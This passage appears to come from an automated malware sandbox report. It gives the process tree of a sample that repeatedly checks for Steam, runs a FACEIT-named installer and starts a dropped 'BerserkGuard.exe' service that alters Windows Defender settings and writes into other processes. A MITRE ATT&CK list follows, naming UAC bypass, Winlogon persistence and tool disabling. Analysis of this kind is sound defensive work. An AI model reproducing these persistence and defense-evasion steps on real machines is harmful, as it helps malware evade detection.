        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2584
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3696
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3784
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2940
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4012
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:4152
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5160
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4836
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4412
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3196
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1792
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5560
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2916
  - - C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
      "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3348
    - - C:\Users\Admin\AppData\Local\Temp\is-SSFXF24Z5U.tmp\FACEITInstaller_64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SSFXF24Z5U.tmp\FACEITInstaller_64.tmp" /SL5="$F006C,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3436

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1552
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:1620

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:2412

C:\Windows\System32\drivers\GameDriverX64.sys
C:\Windows\System32\drivers\GameDriverX64.sys
1⤵
- Executes dropped EXE
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:4028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2456

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3000

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4848
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:4492

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5484
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:1968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry